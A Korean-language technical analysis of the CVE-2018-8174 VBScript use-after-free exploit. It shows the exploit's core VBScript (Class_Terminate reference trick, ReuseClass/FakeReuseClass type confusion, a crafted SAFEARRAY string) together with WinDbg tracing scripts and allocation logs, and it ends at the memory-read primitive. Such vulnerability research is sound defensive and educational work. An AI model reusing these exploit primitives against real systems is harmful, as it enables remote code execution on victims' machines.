
CVE-2018-8174 VBS 익스플로잇 분석
이 익스플로잇이 4월과 5월이 바뀌는 시점에 처음 등장했을 때, 강한 난독화에도 불구하고 코드 구조가 잘 정리되어 있고 취약점 악용 코드가 충분히 작아 분석이 더 단순해 보여서 관심이 갔다. github에서 POC를 다운로드하여 내부를 살펴보기에 좋은 후보라고 판단했다. 당시에는 이미 두 개의 분석이 공개되어 있었다. 하나는 360의 것이고, 다른 하나는 Kaspersky의 것이었다. 두 분석 모두 작동 방식을 이해하는 데 도움이 되었지만, 익스플로잇의 모든 측면을 깊이 이해하기에는 충분하지 않았다. 그래서 직접 분석하여 결과를 공유하기로 결정했다.
먼저 정수 난독화를 제거하기 위해 파이썬 스크립트에서 정규식 치환을 사용했다:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
난독화된 이름에 대해서는 분석하는 동안 점진적으로 이름을 변경했다. 이 분석은 끝에 링크가 있는 소스 코드와 함께 읽는 것이 가장 좋다.
취약점은 객체가 종료되고 사용자 정의 함수 Class_Terminate()가 호출될 때 발생한다. 이 함수에서는 해제되는 객체에 대한 참조가 UafArray에 저장된다. 이제부터 UafArray(i)는 삭제된 객체를 가리킨다.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
또한 Class_Terminate()의 마지막 줄에 주목하라. ClassTerminate 객체를 UafArray에 복사하면 참조 카운터가 증가한다. 이를 균형 맞추기 위해 FreedObjectArray에 다른 값을 할당하여 다시 해제한다. 이렇게 하지 않으면 객체에 Class_Terminate를 호출해도 객체의 메모리가 해제되지 않고, 다음 객체가 그 자리에 할당되지 않을 것이다.

새 객체를 생성하고 삭제하는 과정이 루프에서 7번 반복된 후, ReuseClass 클래스의 새 객체가 생성된다. 이 객체는 이전에 7개의 ClassTerminate 인스턴스가 차지했던 것과 동일한 메모리에 할당된다.
이를 더 잘 이해하기 위해, 다음은 모든 할당을 추적하는 간단한 WinDbg 스크립트이다:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
다음은 UafTrigger 함수의 할당 로그이다:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
ReuseClass가 실제로 이전 7개의 ClassTerminate 인스턴스에 할당되었던 것과 동일한 메모리에 할당된다는 것을 바로 알 수 있다.
이 과정이 두 번 반복된다. 결과적으로 UafArrays에 의해 참조되는 두 개의 객체가 생긴다. 이 참조 중 어느 것도 객체의 참조 카운터에 반영되지 않는다.
이 로그에서는 Class_Terminate가 호출된 후에도 참조 카운터를 변경하는 객체 조작이 있음을 확인할 수 있다. 그렇기 때문에 Class_Terminate에서 이 카운터를 균형 맞추지 않으면 다음과 같은 결과가 발생한다:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
할당 주소가 다르다. 익스플로잇은 사용 후 해제 조건을 만들지 못할 것이다.
각각에 대해 7개의 계산되지 않은 참조를 가진 두 객체를 생성함으로써 임의 메모리 읽기 원시형을 확립했다. ReuseClass와 FakeReuseClass라는 두 개의 유사한 클래스가 있다. 첫 번째 클래스를 두 번째 클래스로 교체하면 mem 멤버에 대한 타입 혼동이 발생한다.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
SetProp 함수에서 ReuseClass.mem이 저장되고 ReplacingClass_* 클래스의 Default Property Get이 호출되며, 해당 호출의 결과는 ReuseClass.mem에 저장된다.
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
그 getter 내부에서 UafArray의 각 요소에 0을 할당하여 비운다. 이로 인해 UafArray가 참조하는 ReuseClass 객체에 대해 VBScriptClass::Release가 호출된다. 실행의 이 단계에서 ReuseClass 객체는 참조 카운터가 7과 같으며, Release를 7번 호출하므로 이 객체는 해제된다. 그리고 이러한 참조는 사용 후 해제 상황에서 비롯되었기 때문에 참조 카운터에 반영되지 않는다. ReuseClass 자리에는 FakeReuseClass의 새 객체가 할당된다. 이제 ReuseClass의 경우와 마찬가지로 참조 카운터를 7로 만들기 위해 UafArray에 7번 할당한다. 다음은 이 작업 전후의 메모리 레이아웃이다.


이 작업이 완료된 후 getter 함수는 이전 ReuseClass::mem 변수에 할당될 값을 반환한다. 메모리 덤프에서 볼 수 있듯이 이전 값은 새 값보다 0xC 바이트 앞에 배치되어 있었다. 객체는 예를 들어 함수 이름의 적절한 길이를 선택하여 이러한 상황을 유발하도록 특수하게 제작되었다. 이제 ReuseClass::mem에 기록된 값이 FakeReuseClass::mem 헤더를 덮어써서 타입 혼동 상황을 일으킨다.

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to